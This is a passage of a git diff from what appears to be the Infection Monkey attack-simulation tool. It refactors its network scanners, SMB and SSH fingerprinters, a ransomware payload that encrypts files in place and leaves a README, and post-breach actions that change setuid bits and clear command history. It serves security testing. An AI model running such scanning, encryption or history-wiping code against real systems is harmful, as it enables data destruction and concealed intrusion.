_ping(host, timeout) + except Exception: + logger.exception("Unhandled exception occurred while running ping") + return EMPTY_PING_SCAN + + +def _ping(host: str, timeout: float) -> PingScanData: + if is_windows_os(): + timeout = math.floor(timeout * 1000) + + ping_command_output = _run_ping_command(host, timeout) + + ping_scan_data = _process_ping_command_output(ping_command_output) + logger.debug(f"{host} - {ping_scan_data}") + + return ping_scan_data + + +def _run_ping_command(host: str, timeout: float) -> str: + ping_cmd = _build_ping_command(host, timeout) + logger.debug(f"Running ping command: {' '.join(ping_cmd)}") + + # If stdout is not connected to a terminal (i.e. redirected to a pipe or file), the result + # of os.device_encoding(1) will be None. Setting errors="backslashreplace" prevents a crash + # in this case. See #1175 and #1403 for more information. + encoding = os.device_encoding(1) + sub_proc = subprocess.Popen( + ping_cmd, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + text=True, + encoding=encoding, + errors="backslashreplace", + ) + + logger.debug(f"Retrieving ping command output using {encoding} encoding") + + try: + # The underlying ping command should timeout within the specified timeout. Setting the + # timeout parameter on communicate() is a failsafe mechanism for ensuring this does not + # block indefinitely. + output = " ".join(sub_proc.communicate(timeout=(timeout + PING_EXIT_TIMEOUT))) + logger.debug(output) + except subprocess.TimeoutExpired as te: + logger.error(te) + return "" + + return output + + +def _process_ping_command_output(ping_command_output: str) -> PingScanData: + ttl_match = TTL_REGEX.search(ping_command_output) + if not ttl_match: + return PingScanData(False, None) + + # It should be impossible for this next line to raise any errors, since the TTL_REGEX won't + # match at all if the group isn't found or the contents of the group are not only digits. + ttl = int(ttl_match.group(1)) + + operating_system = None + if ttl <= LINUX_TTL: + operating_system = "linux" + else: # as far we we know, could also be OSX/BSD, but lets handle that when it comes up. + operating_system = "windows" + + return PingScanData(True, operating_system) + + +def _build_ping_command(host: str, timeout: float): + ping_count_flag = "-n" if "win32" == sys.platform else "-c" + ping_timeout_flag = "-w" if "win32" == sys.platform else "-W" + + # on older version of ping the timeout must be an integer, thus we use ceil + return ["ping", ping_count_flag, "1", ping_timeout_flag, str(math.ceil(timeout)), host] diff --git a/monkey/infection_monkey/network_scanning/scan_target_generator.py b/monkey/infection_monkey/network_scanning/scan_target_generator.py new file mode 100644 index 000000000..4c8f9815d --- /dev/null +++ b/monkey/infection_monkey/network_scanning/scan_target_generator.py @@ -0,0 +1,144 @@ +import itertools +import logging +import socket +from typing import List + +from common.network.network_range import InvalidNetworkRangeError, NetworkRange +from infection_monkey.network import NetworkAddress, NetworkInterface + +logger = logging.getLogger(__name__) + + +def compile_scan_target_list( + local_network_interfaces: List[NetworkInterface], + ranges_to_scan: List[str], + inaccessible_subnets: List[str], + blocklisted_ips: List[str], + enable_local_network_scan: bool, +) -> List[NetworkAddress]: + scan_targets = _get_ips_from_ranges_to_scan(ranges_to_scan) + + if enable_local_network_scan: + scan_targets.extend(_get_ips_to_scan_from_local_interface(local_network_interfaces)) + + if inaccessible_subnets: + inaccessible_subnets = _get_segmentation_check_targets( + inaccessible_subnets, local_network_interfaces + ) + scan_targets.extend(inaccessible_subnets) + + scan_targets = _remove_interface_ips(scan_targets, local_network_interfaces) + scan_targets = _remove_blocklisted_ips(scan_targets, blocklisted_ips) + scan_targets = _remove_redundant_targets(scan_targets) + scan_targets.sort(key=lambda network_address: socket.inet_aton(network_address.ip)) + + return scan_targets + + +def _remove_redundant_targets(targets: List[NetworkAddress]) -> List[NetworkAddress]: + reverse_dns = {} + for target in targets: + domain_name = target.domain + ip = target.ip + if ip not in reverse_dns or (reverse_dns[ip] is None and domain_name is not None): + reverse_dns[ip] = domain_name + return [NetworkAddress(key, value) for (key, value) in reverse_dns.items()] + + +def _range_to_addresses(range_obj: NetworkRange) -> List[NetworkAddress]: + addresses = [] + for address in range_obj: + if hasattr(range_obj, "domain_name"): + addresses.append(NetworkAddress(address, range_obj.domain_name)) + else: + addresses.append(NetworkAddress(address, None)) + return addresses + + +def _get_ips_from_ranges_to_scan(ranges_to_scan: List[str]) -> List[NetworkAddress]: + scan_targets = [] + + ranges_to_scan = NetworkRange.filter_invalid_ranges( + ranges_to_scan, "Bad network range input for targets to scan:" + ) + + network_ranges = [NetworkRange.get_range_obj(_range) for _range in ranges_to_scan] + + for _range in network_ranges: + scan_targets.extend(_range_to_addresses(_range)) + return scan_targets + + +def _get_ips_to_scan_from_local_interface( + interfaces: List[NetworkInterface], +) -> List[NetworkAddress]: + ranges = [f"{interface.address}{interface.netmask}" for interface in interfaces] + + ranges = NetworkRange.filter_invalid_ranges( + ranges, "Local network interface returns an invalid IP:" + ) + return _get_ips_from_ranges_to_scan(ranges) + + +def _remove_interface_ips( + scan_targets: List[NetworkAddress], interfaces: List[NetworkInterface] +) -> List[NetworkAddress]: + interface_ips = [interface.address for interface in interfaces] + return _remove_ips_from_scan_targets(scan_targets, interface_ips) + + +def _remove_blocklisted_ips( + scan_targets: List[NetworkAddress], blocked_ips: List[str] +) -> List[NetworkAddress]: + filtered_blocked_ips = NetworkRange.filter_invalid_ranges( + blocked_ips, "Invalid blocked IP provided:" + ) + if len(filtered_blocked_ips) != len(blocked_ips): + raise InvalidNetworkRangeError("Received an invalid blocked IP. Aborting just in case.") + return _remove_ips_from_scan_targets(scan_targets, filtered_blocked_ips) + + +def _remove_ips_from_scan_targets( + scan_targets: List[NetworkAddress], ips_to_remove: List[str] +) -> List[NetworkAddress]: + ips_to_remove_set = set(ips_to_remove) + return [address for address in scan_targets if address.ip not in ips_to_remove_set] + + +def _get_segmentation_check_targets( + inaccessible_subnets: List[str], local_interfaces: List[NetworkInterface] +) -> List[NetworkAddress]: + ips_to_scan = [] + local_ips = [interface.address for interface in local_interfaces] + + local_ips = NetworkRange.filter_invalid_ranges(local_ips, "Invalid local IP found: ") + inaccessible_subnets = NetworkRange.filter_invalid_ranges( + inaccessible_subnets, "Invalid segmentation scan target: " + ) + + inaccessible_subnets = _convert_to_range_object(inaccessible_subnets) + subnet_pairs = itertools.product(inaccessible_subnets, inaccessible_subnets) + + for (subnet1, subnet2) in subnet_pairs: + if _is_segmentation_check_required(local_ips, subnet1, subnet2): + ips = _get_ips_from_ranges_to_scan(subnet2) + ips_to_scan.extend(ips) + + return ips_to_scan + + +def _convert_to_range_object(subnets: List[str]) -> List[NetworkRange]: + return [NetworkRange.get_range_obj(subnet) for subnet in subnets] + + +def _is_segmentation_check_required( + local_ips: List[str], subnet1: NetworkRange, subnet2: NetworkRange +): + return _is_any_ip_in_subnet(local_ips, subnet1) and not _is_any_ip_in_subnet(local_ips, subnet2) + + +def _is_any_ip_in_subnet(ip_addresses: List[str], subnet: NetworkRange): + for ip_address in ip_addresses: + if subnet.is_in_range(ip_address): + return True + return False diff --git a/monkey/infection_monkey/network/smbfinger.py b/monkey/infection_monkey/network_scanning/smb_fingerprinter.py similarity index 79% rename from monkey/infection_monkey/network/smbfinger.py rename to monkey/infection_monkey/network_scanning/smb_fingerprinter.py index f3301f33c..d47ce224e 100644 --- a/monkey/infection_monkey/network/smbfinger.py +++ b/monkey/infection_monkey/network_scanning/smb_fingerprinter.py @@ -1,11 +1,19 @@ import logging import socket import struct +from typing import Dict from odict import odict -from infection_monkey.network.HostFinger import HostFinger +from infection_monkey.i_puppet import ( + FingerprintData, + IFingerprinter, + PingScanData, + PortScanData, + PortStatus, +) +DISPLAY_NAME = "SMB" SMB_PORT = 445 SMB_SERVICE = "tcp-445" @@ -62,7 +70,7 @@ class SMBNego(Packet): self.fields["bcc"] = struct.pack(" FingerprintData: + services = {} + smb_service = { + "display_name": DISPLAY_NAME, + "port": SMB_PORT, + } + os_type = None + os_version = None - def __init__(self): - from infection_monkey.config import WormConfiguration + if (SMB_PORT not in port_scan_data) or (port_scan_data[SMB_PORT].status != PortStatus.OPEN): + return FingerprintData(None, None, services) - self._config = WormConfiguration - - def get_host_fingerprint(self, host): + logger.debug(f"Fingerprinting potential SMB port {SMB_PORT} on {host}") try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(0.7) - s.connect((host.ip_addr, SMB_PORT)) - - self.init_service(host.services, SMB_SERVICE, SMB_PORT) + s.connect((host, SMB_PORT)) h = SMBHeader(cmd=b"\x72", flag1=b"\x18", flag2=b"\x53\xc8") - n = SMBNego(data=SMBNegoFingerData()) + n = SMBNego(data=SMBNegoFingerprintData()) n.calculate() packet_ = h.to_byte_string() + n.to_byte_string() @@ -155,7 +172,7 @@ class SMBFinger(HostFinger): if data[8:10] == b"\x72\x00": header = SMBHeader(cmd=b"\x73", flag1=b"\x18", flag2=b"\x17\xc8", uid=b"\x00\x00") - body = SMBSessionFingerData() + body = SMBSessionFingerprintData() body.calculate() packet_ = header.to_byte_string() + body.to_byte_string() @@ -173,18 +190,17 @@ class SMBFinger(HostFinger): ] ) - if os_version.lower() != "unix": - host.os["type"] = "windows" - else: - host.os["type"] = "linux" + logger.debug(f'os_version: "{os_version}", service_client: "{service_client}"') - host.services[SMB_SERVICE]["name"] = service_client - if "version" not in host.os: - host.os["version"] = os_version + if os_version.lower() != "unix": + os_type = "windows" else: - host.services[SMB_SERVICE]["os-version"] = os_version - return True + os_type = "linux" + + smb_service["name"] = service_client + + services[SMB_SERVICE] = smb_service except Exception as exc: logger.debug("Error getting smb fingerprint: %s", exc) - return False + return FingerprintData(os_type, os_version, services) diff --git a/monkey/infection_monkey/network_scanning/ssh_fingerprinter.py b/monkey/infection_monkey/network_scanning/ssh_fingerprinter.py new file mode 100644 index 000000000..32aa20ad9 --- /dev/null +++ b/monkey/infection_monkey/network_scanning/ssh_fingerprinter.py @@ -0,0 +1,45 @@ +import re +from typing import Dict, Optional, Tuple + +from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PingScanData, PortScanData + +SSH_REGEX = r"SSH-\d\.\d-OpenSSH" +LINUX_DIST_SSH = ["ubuntu", "debian"] +DISPLAY_NAME = "SSH" + + +class SSHFingerprinter(IFingerprinter): + def __init__(self): + self._banner_regex = re.compile(SSH_REGEX, re.IGNORECASE) + + def get_host_fingerprint( + self, + host: str, + _ping_scan_data: PingScanData, + port_scan_data: Dict[int, PortScanData], + _options: Dict, + ) -> FingerprintData: + os_type = None + os_version = None + services = {} + + for ps_data in port_scan_data.values(): + if ps_data.banner and self._banner_regex.search(ps_data.banner): + os_type, os_version = self._get_host_os(ps_data.banner) + services[f"tcp-{ps_data.port}"] = { + "display_name": DISPLAY_NAME, + "port": ps_data.port, + "name": "ssh", + } + return FingerprintData(os_type, os_version, services) + + @staticmethod + def _get_host_os(banner) -> Tuple[Optional[str], Optional[str]]: + os = None + os_version = None + for dist in LINUX_DIST_SSH: + if banner.lower().find(dist) != -1: + os_version = banner.split(" ").pop().strip() + os = "linux" + + return os, os_version diff --git a/monkey/infection_monkey/network_scanning/tcp_scanner.py b/monkey/infection_monkey/network_scanning/tcp_scanner.py new file mode 100644 index 000000000..d0c6e3e7a --- /dev/null +++ b/monkey/infection_monkey/network_scanning/tcp_scanner.py @@ -0,0 +1,155 @@ +import logging +import select +import socket +import time +from typing import Iterable, Mapping, Tuple + +from infection_monkey.i_puppet import PortScanData, PortStatus +from infection_monkey.network.tools import BANNER_READ, DEFAULT_TIMEOUT, tcp_port_to_service +from infection_monkey.utils.timer import Timer + +logger = logging.getLogger(__name__) + +POLL_INTERVAL = 0.5 +EMPTY_PORT_SCAN = {-1: PortScanData(-1, PortStatus.CLOSED, None, None)} + + +def scan_tcp_ports( + host: str, ports_to_scan: Iterable[int], timeout: float +) -> Mapping[int, PortScanData]: + try: + return _scan_tcp_ports(host, ports_to_scan, timeout) + except Exception: + logger.exception("Unhandled exception occurred while trying to scan tcp ports") + return EMPTY_PORT_SCAN + + +def _scan_tcp_ports(host: str, ports_to_scan: Iterable[int], timeout: float): + open_ports = _check_tcp_ports(host, ports_to_scan, timeout) + + return _build_port_scan_data(ports_to_scan, open_ports) + + +def _build_port_scan_data( + ports_to_scan: Iterable[int], open_ports: Mapping[int, str] +) -> Mapping[int, PortScanData]: + port_scan_data = {} + for port in ports_to_scan: + if port in open_ports: + service = tcp_port_to_service(port) + banner = open_ports[port] + + port_scan_data[port] = PortScanData(port, PortStatus.OPEN, banner, service) + else: + port_scan_data[port] = _get_closed_port_data(port) + + return port_scan_data + + +def _get_closed_port_data(port: int) -> PortScanData: + return PortScanData(port, PortStatus.CLOSED, None, None) + + +def _check_tcp_ports( + ip: str, ports_to_scan: Iterable[int], timeout: float = DEFAULT_TIMEOUT +) -> Mapping[int, str]: + """ + Checks whether any of the given ports are open on a target IP. + :param ip: IP of host to attack + :param ports_to_scan: An iterable of ports to scan. Must not be empty. + :param timeout: Amount of time to wait for connection + :return: Mapping where the key is an open port and the value is the banner + :rtype: Mapping + """ + sockets = [socket.socket(socket.AF_INET, socket.SOCK_STREAM) for _ in range(len(ports_to_scan))] + for s in sockets: + s.setblocking(False) + + possible_ports = set() + connected_ports = set() + open_ports = {} + + try: + logger.debug( + "Connecting to the following ports %s" % ",".join((str(x) for x in ports_to_scan)) + ) + for sock, port in zip(sockets, ports_to_scan): + err = sock.connect_ex((ip, port)) + if err == 0: # immediate connect + connected_ports.add((port, sock)) + possible_ports.add((port, sock)) + elif err == 10035: # WSAEWOULDBLOCK is valid. + # https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-connect + # says, "Use the select function to determine the completion of the connection + # request by checking to see if the socket is writable," which is being done below. + possible_ports.add((port, sock)) + elif err == 115: # EINPROGRESS 115 /* Operation now in progress */ + possible_ports.add((port, sock)) + else: + logger.warning("Failed to connect to port %s, error code is %d", port, err) + + if len(possible_ports) != 0: + sockets_to_try = possible_ports.copy() + + timer = Timer() + timer.set(timeout) + + while (not timer.is_expired()) and sockets_to_try: + # The call to select() may return sockets that are writeable but not actually + # connected. Adding this sleep prevents excessive looping. + time.sleep(min(POLL_INTERVAL, timer.time_remaining)) + + sock_objects = [s[1] for s in sockets_to_try] + + _, writeable_sockets, _ = select.select([], sock_objects, [], timer.time_remaining) + for s in writeable_sockets: + try: # actual test + connected_ports.add((s.getpeername()[1], s)) + except socket.error: # bad socket, select didn't filter it properly + pass + + sockets_to_try = sockets_to_try - connected_ports + + logger.debug( + "On host %s discovered the following ports %s" + % (str(ip), ",".join([str(s[0]) for s in connected_ports])) + ) + + open_ports = {port: "" for port, _ in connected_ports} + if len(connected_ports) != 0: + readable_sockets, _, _ = select.select( + [s[1] for s in connected_ports], [], [], timer.time_remaining + ) + # read first BANNER_READ bytes. We ignore errors because service might not send a + # decodable byte string. + for port, sock in connected_ports: + if sock in readable_sockets: + open_ports[port] = sock.recv(BANNER_READ).decode(errors="ignore") + else: + open_ports[port] = "" + + except socket.error as exc: + logger.warning("Exception when checking ports on host %s, Exception: %s", str(ip), exc) + + _clean_up_sockets(possible_ports, connected_ports) + + return open_ports + + +def _clean_up_sockets( + possible_ports: Iterable[Tuple[int, socket.socket]], + connected_ports_sockets: Iterable[Tuple[int, socket.socket]], +): + # Only call shutdown() on sockets we know to be connected + for port, s in connected_ports_sockets: + try: + s.shutdown(socket.SHUT_RDWR) + except socket.error as exc: + logger.warning(f"Error occurred while shutting down socket on port {port}: {exc}") + + # Call close() for all sockets + for port, s in possible_ports: + try: + s.close() + except socket.error as exc: + logger.warning(f"Error occurred while closing socket on port {port}: {exc}") diff --git a/monkey/infection_monkey/payload/i_payload.py b/monkey/infection_monkey/payload/i_payload.py new file mode 100644 index 000000000..b63910eea --- /dev/null +++ b/monkey/infection_monkey/payload/i_payload.py @@ -0,0 +1,14 @@ +import abc +import threading +from typing import Dict + + +class IPayload(metaclass=abc.ABCMeta): + @abc.abstractmethod + def run(self, options: Dict, interrupt: threading.Event): + """ + Runs the payload + :param Dict options: A dictionary containing options that modify the behavior of the payload + :param threading.Event interrupt: A threading.Event object that signals the payload to stop + executing and clean itself up. + """ diff --git a/monkey/monkey_island/cc/resources/monkey_control/__init__.py b/monkey/infection_monkey/payload/ransomware/__init__.py similarity index 100% rename from monkey/monkey_island/cc/resources/monkey_control/__init__.py rename to monkey/infection_monkey/payload/ransomware/__init__.py diff --git a/monkey/infection_monkey/ransomware/consts.py b/monkey/infection_monkey/payload/ransomware/consts.py similarity index 57% rename from monkey/infection_monkey/ransomware/consts.py rename to monkey/infection_monkey/payload/ransomware/consts.py index 4010c01da..da20a2949 100644 --- a/monkey/infection_monkey/ransomware/consts.py +++ b/monkey/infection_monkey/payload/ransomware/consts.py @@ -2,4 +2,3 @@ from pathlib import Path README_SRC = Path(__file__).parent / "ransomware_readme.txt" README_FILE_NAME = "README.txt" -README_SHA256_HASH = "a5608df1d9dbdbb489838f9aaa33b06b6cd8702799ff843b4b1704519541e674" diff --git a/monkey/infection_monkey/ransomware/file_selectors.py b/monkey/infection_monkey/payload/ransomware/file_selectors.py similarity index 74% rename from monkey/infection_monkey/ransomware/file_selectors.py rename to monkey/infection_monkey/payload/ransomware/file_selectors.py index 33b73dd06..1303970e7 100644 --- a/monkey/infection_monkey/ransomware/file_selectors.py +++ b/monkey/infection_monkey/payload/ransomware/file_selectors.py @@ -1,8 +1,7 @@ +import filecmp from pathlib import Path -from typing import List, Set +from typing import Iterable, Set -from common.utils.file_utils import get_file_sha256_hash -from infection_monkey.ransomware.consts import README_FILE_NAME, README_SHA256_HASH from infection_monkey.utils.dir_utils import ( file_extension_filter, filter_files, @@ -11,12 +10,14 @@ from infection_monkey.utils.dir_utils import ( is_not_symlink_filter, ) +from .consts import README_FILE_NAME, README_SRC + class ProductionSafeTargetFileSelector: def __init__(self, targeted_file_extensions: Set[str]): self._targeted_file_extensions = targeted_file_extensions - def __call__(self, target_dir: Path) -> List[Path]: + def __call__(self, target_dir: Path) -> Iterable[Path]: file_filters = [ file_extension_filter(self._targeted_file_extensions), is_not_shortcut_filter, @@ -32,4 +33,4 @@ def _is_not_ransomware_readme_filter(filepath: Path) -> bool: if filepath.name != README_FILE_NAME: return True - return get_file_sha256_hash(filepath) != README_SHA256_HASH + return not filecmp.cmp(filepath, README_SRC) diff --git a/monkey/infection_monkey/ransomware/in_place_file_encryptor.py b/monkey/infection_monkey/payload/ransomware/in_place_file_encryptor.py similarity index 84% rename from monkey/infection_monkey/ransomware/in_place_file_encryptor.py rename to monkey/infection_monkey/payload/ransomware/in_place_file_encryptor.py index f4bcaf3aa..fc5523352 100644 --- a/monkey/infection_monkey/ransomware/in_place_file_encryptor.py +++ b/monkey/infection_monkey/payload/ransomware/in_place_file_encryptor.py @@ -28,17 +28,12 @@ class InPlaceFileEncryptor: def _encrypt_file(self, filepath: Path): with open(filepath, "rb+") as f: - data = f.read(self._chunk_size) - while data: - num_bytes_read = len(data) - + for data in iter(lambda: f.read(self._chunk_size), b""): encrypted_data = self._encrypt_bytes(data) - f.seek(-num_bytes_read, 1) + f.seek(-len(encrypted_data), 1) f.write(encrypted_data) - data = f.read(self._chunk_size) - def _add_extension(self, filepath: Path): new_filepath = filepath.with_suffix(f"{filepath.suffix}{self._new_file_extension}") filepath.rename(new_filepath) diff --git a/monkey/infection_monkey/payload/ransomware/ransomware.py b/monkey/infection_monkey/payload/ransomware/ransomware.py new file mode 100644 index 000000000..47d4c0f89 --- /dev/null +++ b/monkey/infection_monkey/payload/ransomware/ransomware.py @@ -0,0 +1,81 @@ +import logging +import threading +from pathlib import Path +from typing import Callable, Iterable + +from infection_monkey.telemetry.file_encryption_telem import FileEncryptionTelem +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger +from infection_monkey.utils.threading import interruptible_function, interruptible_iter + +from .consts import README_FILE_NAME, README_SRC +from .ransomware_options import RansomwareOptions + +logger = logging.getLogger(__name__) + + +class Ransomware: + def __init__( + self, + config: RansomwareOptions, + encrypt_file: Callable[[Path], None], + select_files: Callable[[Path], Iterable[Path]], + leave_readme: Callable[[Path, Path], None], + telemetry_messenger: ITelemetryMessenger, + ): + self._config = config + + self._encrypt_file = encrypt_file + self._select_files = select_files + self._leave_readme = leave_readme + self._telemetry_messenger = telemetry_messenger + + self._target_directory = self._config.target_directory + self._readme_file_path = ( + self._target_directory / README_FILE_NAME # type: ignore + if self._target_directory + else None + ) + + def run(self, interrupt: threading.Event): + if not self._target_directory: + return + + logger.info("Running ransomware payload") + + if self._config.encryption_enabled: + files_to_encrypt = self._find_files() + self._encrypt_files(files_to_encrypt, interrupt) + + if self._config.readme_enabled: + self._leave_readme_in_target_directory(interrupt=interrupt) + + def _find_files(self) -> Iterable[Path]: + logger.info(f"Collecting files in {self._target_directory}") + return self._select_files(self._target_directory) # type: ignore + + def _encrypt_files(self, files_to_encrypt: Iterable[Path], interrupt: threading.Event): + logger.info(f"Encrypting files in {self._target_directory}") + + interrupted_message = "Received a stop signal, skipping encryption of remaining files" + for filepath in interruptible_iter(files_to_encrypt, interrupt, interrupted_message): + try: + logger.debug(f"Encrypting {filepath}") + + # Note that encrypting a single file is not interruptible. This is so that we avoid + # leaving half-encrypted files on the user's system. + self._encrypt_file(filepath) + self._send_telemetry(filepath, True, "") + except Exception as ex: + logger.warning(f"Error encrypting {filepath}: {ex}") + self._send_telemetry(filepath, False, str(ex)) + + def _send_telemetry(self, filepath: Path, success: bool, error: str): + encryption_attempt = FileEncryptionTelem(str(filepath), success, error) + self._telemetry_messenger.send_telemetry(encryption_attempt) + + @interruptible_function(msg="Received a stop signal, skipping leave readme") + def _leave_readme_in_target_directory(self, *, interrupt: threading.Event): + try: + self._leave_readme(README_SRC, self._readme_file_path) # type: ignore + except Exception as ex: + logger.warning(f"An error occurred while attempting to leave a README.txt file: {ex}") diff --git a/monkey/infection_monkey/ransomware/ransomware_payload_builder.py b/monkey/infection_monkey/payload/ransomware/ransomware_builder.py similarity index 65% rename from monkey/infection_monkey/ransomware/ransomware_payload_builder.py rename to monkey/infection_monkey/payload/ransomware/ransomware_builder.py index 9f0d78754..4b8bbc8bb 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload_builder.py +++ b/monkey/infection_monkey/payload/ransomware/ransomware_builder.py @@ -1,12 +1,6 @@ import logging from pprint import pformat -from infection_monkey.ransomware import readme_dropper -from infection_monkey.ransomware.file_selectors import ProductionSafeTargetFileSelector -from infection_monkey.ransomware.in_place_file_encryptor import InPlaceFileEncryptor -from infection_monkey.ransomware.ransomware_config import RansomwareConfig -from infection_monkey.ransomware.ransomware_payload import RansomwarePayload -from infection_monkey.ransomware.targeted_file_extensions import TARGETED_FILE_EXTENSIONS from infection_monkey.telemetry.messengers.batching_telemetry_messenger import ( BatchingTelemetryMessenger, ) @@ -15,23 +9,30 @@ from infection_monkey.telemetry.messengers.legacy_telemetry_messenger_adapter im ) from infection_monkey.utils.bit_manipulators import flip_bits +from . import readme_dropper +from .file_selectors import ProductionSafeTargetFileSelector +from .in_place_file_encryptor import InPlaceFileEncryptor +from .ransomware import Ransomware +from .ransomware_options import RansomwareOptions +from .targeted_file_extensions import TARGETED_FILE_EXTENSIONS + EXTENSION = ".m0nk3y" CHUNK_SIZE = 4096 * 24 logger = logging.getLogger(__name__) -def build_ransomware_payload(config: dict): - logger.debug(f"Ransomware payload configuration:\n{pformat(config)}") - ransomware_config = RansomwareConfig(config) +def build_ransomware(options: dict): + logger.debug(f"Ransomware configuration:\n{pformat(options)}") + ransomware_options = RansomwareOptions(options) file_encryptor = _build_file_encryptor() file_selector = _build_file_selector() leave_readme = _build_leave_readme() telemetry_messenger = _build_telemetry_messenger() - return RansomwarePayload( - ransomware_config, + return Ransomware( + ransomware_options, file_encryptor, file_selector, leave_readme, diff --git a/monkey/infection_monkey/ransomware/ransomware_config.py b/monkey/infection_monkey/payload/ransomware/ransomware_options.py similarity index 72% rename from monkey/infection_monkey/ransomware/ransomware_config.py rename to monkey/infection_monkey/payload/ransomware/ransomware_options.py index f8ab792da..8416f8465 100644 --- a/monkey/infection_monkey/ransomware/ransomware_config.py +++ b/monkey/infection_monkey/payload/ransomware/ransomware_options.py @@ -6,13 +6,13 @@ from infection_monkey.utils.environment import is_windows_os logger = logging.getLogger(__name__) -class RansomwareConfig: - def __init__(self, config: dict): - self.encryption_enabled = config["encryption"]["enabled"] - self.readme_enabled = config["other_behaviors"]["readme"] +class RansomwareOptions: + def __init__(self, options: dict): + self.encryption_enabled = options["encryption"]["enabled"] + self.readme_enabled = options["other_behaviors"]["readme"] self.target_directory = None - self._set_target_directory(config["encryption"]["directories"]) + self._set_target_directory(options["encryption"]["directories"]) def _set_target_directory(self, os_target_directories: dict): if is_windows_os(): diff --git a/monkey/infection_monkey/payload/ransomware/ransomware_payload.py b/monkey/infection_monkey/payload/ransomware/ransomware_payload.py new file mode 100644 index 000000000..d785859a2 --- /dev/null +++ b/monkey/infection_monkey/payload/ransomware/ransomware_payload.py @@ -0,0 +1,12 @@ +import threading +from typing import Dict + +from infection_monkey.payload.i_payload import IPayload + +from . import ransomware_builder + + +class RansomwarePayload(IPayload): + def run(self, options: Dict, interrupt: threading.Event): + ransomware = ransomware_builder.build_ransomware(options) + ransomware.run(interrupt) diff --git a/monkey/infection_monkey/ransomware/ransomware_readme.txt b/monkey/infection_monkey/payload/ransomware/ransomware_readme.txt similarity index 100% rename from monkey/infection_monkey/ransomware/ransomware_readme.txt rename to monkey/infection_monkey/payload/ransomware/ransomware_readme.txt diff --git a/monkey/infection_monkey/ransomware/readme_dropper.py b/monkey/infection_monkey/payload/ransomware/readme_dropper.py similarity index 55% rename from monkey/infection_monkey/ransomware/readme_dropper.py rename to monkey/infection_monkey/payload/ransomware/readme_dropper.py index 12a171c5b..253c5e574 100644 --- a/monkey/infection_monkey/ransomware/readme_dropper.py +++ b/monkey/infection_monkey/payload/ransomware/readme_dropper.py @@ -10,13 +10,5 @@ def leave_readme(src: Path, dest: Path): logger.warning(f"{dest} already exists, not leaving a new README.txt") return - _copy_readme_file(src, dest) - - -def _copy_readme_file(src: Path, dest: Path): logger.info(f"Leaving a ransomware README file at {dest}") - - try: - shutil.copyfile(src, dest) - except Exception as ex: - logger.warning(f"An error occurred while attempting to leave a README.txt file: {ex}") + shutil.copyfile(src, dest) diff --git a/monkey/infection_monkey/ransomware/targeted_file_extensions.py b/monkey/infection_monkey/payload/ransomware/targeted_file_extensions.py similarity index 100% rename from monkey/infection_monkey/ransomware/targeted_file_extensions.py rename to monkey/infection_monkey/payload/ransomware/targeted_file_extensions.py diff --git a/monkey/infection_monkey/post_breach/actions/change_file_privileges.py b/monkey/infection_monkey/post_breach/actions/change_file_privileges.py index 87338e229..c560cc5d3 100644 --- a/monkey/infection_monkey/post_breach/actions/change_file_privileges.py +++ b/monkey/infection_monkey/post_breach/actions/change_file_privileges.py @@ -3,11 +3,12 @@ from infection_monkey.post_breach.pba import PBA from infection_monkey.post_breach.setuid_setgid.setuid_setgid import ( get_commands_to_change_setuid_setgid, ) +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger class ChangeSetuidSetgid(PBA): - def __init__(self): + def __init__(self, telemetry_messenger: ITelemetryMessenger): linux_cmds = get_commands_to_change_setuid_setgid() super(ChangeSetuidSetgid, self).__init__( - POST_BREACH_SETUID_SETGID, linux_cmd=" ".join(linux_cmds) + telemetry_messenger, POST_BREACH_SETUID_SETGID, linux_cmd=" ".join(linux_cmds) ) diff --git a/monkey/infection_monkey/post_breach/actions/clear_command_history.py b/monkey/infection_monkey/post_breach/actions/clear_command_history.py index f4aa5ad7b..2641051cc 100644 --- a/monkey/infection_monkey/post_breach/actions/clear_command_history.py +++ b/monkey/infection_monkey/post_breach/actions/clear_command_history.py @@ -1,27 +1,33 @@ import subprocess +from typing import Dict, Iterable, Tuple from common.common_consts.post_breach_consts import POST_BREACH_CLEAR_CMD_HISTORY +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT +from infection_monkey.i_puppet.i_puppet import PostBreachData from infection_monkey.post_breach.clear_command_history.clear_command_history import ( get_commands_to_clear_command_history, ) from infection_monkey.post_breach.pba import PBA -from infection_monkey.telemetry.post_breach_telem import PostBreachTelem +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger class ClearCommandHistory(PBA): - def __init__(self): - super().__init__(name=POST_BREACH_CLEAR_CMD_HISTORY) + def __init__(self, telemetry_messenger: ITelemetryMessenger): + super().__init__(telemetry_messenger, name=POST_BREACH_CLEAR_CMD_HISTORY) - def run(self): - results = [pba.run() for pba in self.clear_command_history_PBA_list()] + def run(self, options: Dict) -> Iterable[PostBreachData]: + results = [pba.run() for pba in self.clear_command_history_pba_list()] if results: - PostBreachTelem(self, results).send() + # `self.command` is empty here + self.pba_data.append(PostBreachData(self.name, self.command, results)) - def clear_command_history_PBA_list(self): + return self.pba_data + + def clear_command_history_pba_list(self) -> Iterable[PBA]: return self.CommandHistoryPBAGenerator().get_clear_command_history_pbas() class CommandHistoryPBAGenerator: - def get_clear_command_history_pbas(self): + def get_clear_command_history_pbas(self) -> Iterable[PBA]: ( cmds_for_linux, command_history_files_for_linux, @@ -41,15 +47,24 @@ class ClearCommandHistory(PBA): class ClearCommandHistoryFile(PBA): def __init__(self, linux_cmds): - super().__init__(name=POST_BREACH_CLEAR_CMD_HISTORY, linux_cmd=linux_cmds) + super().__init__( + telemetry_messenger=None, + name=POST_BREACH_CLEAR_CMD_HISTORY, + linux_cmd=linux_cmds, + ) - def run(self): + def run(self) -> Tuple[str, bool]: if self.command: try: output = subprocess.check_output( # noqa: DUO116 - self.command, stderr=subprocess.STDOUT, shell=True + self.command, + stderr=subprocess.STDOUT, + shell=True, + timeout=LONG_REQUEST_TIMEOUT, ).decode() return output, True - except subprocess.CalledProcessError as e: + except subprocess.CalledProcessError as err: # Return error output of the command - return e.output.decode(), False + return err.output.decode(), False + except subprocess.TimeoutExpired as err: + return str(err), False diff --git a/monkey/infection_monkey/post_breach/actions/collect_processes_list.py 